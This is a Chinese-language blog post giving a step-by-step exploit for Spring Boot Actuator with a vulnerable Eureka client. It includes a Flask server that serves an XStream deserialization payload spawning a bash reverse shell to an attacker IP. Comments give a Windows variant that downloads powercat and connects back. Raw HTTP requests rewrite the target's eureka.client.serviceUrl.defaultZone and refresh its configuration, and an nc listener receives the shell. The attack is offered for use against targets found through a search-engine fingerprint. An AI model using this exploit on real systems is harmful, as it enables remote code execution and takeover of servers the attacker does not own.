美文网首页
Spring Boot Actuator(eureka xstr

Spring Boot Actuator(eureka xstr

作者: migrate_ | 来源:发表于2020-06-11 22:45 被阅读0次

寻找目标

app="Eureka-Server"

正常访问

http://127.0.0.1:9092/env
1.jpg 2.jpg

利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

利用方法(以Linux为例)

  • 步骤一:架设响应恶意 XStream payload 的网站(在自己的服务器上)
  1. 使用python3环境运行下边这个脚本(flsak_eureka.py)架设恶意网站。并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
# -*- coding: utf-8 -*-
# @Time    : 2019/3/12 10:06
# @Author  : j1anFen
# @Site    :
# @File    : run.py


# linux反弹shell bash -i >&amp; /dev/tcp/192.168.20.82/9999 0>&amp;1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                                <string>/bin/bash</string>
                      <string>-c</string>
                      <string>bash -i >&amp; /dev/tcp/88.88.88.88/3333 0>&amp;1</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=2222)
  • 运行之后是这个样子
3.jpg
  • 这个时候访问你的服务器的【 ip:2222/xstream 】这个连接会出现明显的访问记录
4.jpg

首先证明目标可以出网

  • 使用dnslog
http://dnslog.cn/
5.jpg

设置 eureka.client.serviceUrl.defaultZone 属性

  • spring 1.x(一定要指定内容类型,不能有其他类型)
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip:2222/xstream
  • spring 2.x
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/xstream"}

首先证明目标可以出网

POST /env HTTP/1.1
Host: xx.xx.3.48:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: 
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 60

eureka.client.serviceUrl.defaultZone=http://3q33zc.dnslog.cn
6.jpg

刷新配置

  • spring 1.x(一定要指定内容类型,不能有其他类型)
POST /refresh
Content-Type: application/x-www-form-urlencoded
  • spring 2.x
POST /actuator/refresh
Content-Type: application/json
7.jpg
  • 执行完了刷新以后可以收到请求记录则证明目标机器可以出网,否则不能出网


    8.jpg
  • 再访问目标网址(发现网址已经被写入)

9.jpg

反弹shell

  • 接下来利用同样的方式把自己架设的恶意服务器地址写入目标地址
  • 首先在自己的服务器上用nc监听端口
nc -lvvp 3333
10.jpg
  • 此时python脚本也运行起来
python3 flsak_eureka.py
  • 执行写入操作
POST /env HTTP/1.1
Host: xx.xx.3.48:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: 
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 70

eureka.client.serviceUrl.defaultZone=http://88.88.88.88:2222/xstream
  • 执行刷新操作
POST /refresh HTTP/1.1
Host: xx.xx.3.48:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: 
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 0


  • 此时去服务器看请求记录(如果收到如下请求则证明没有问题,如果没有put则有问题)
11.jpg
  • 查看nc是否已经反弹shell
12.jpg

更多spring漏洞请看

https://github.com/LandGrey/SpringBootVulExploit

相关文章

网友评论

      本文标题:Spring Boot Actuator(eureka xstr

      本文链接:https://www.haomeiwen.com/subject/qpbitktx.html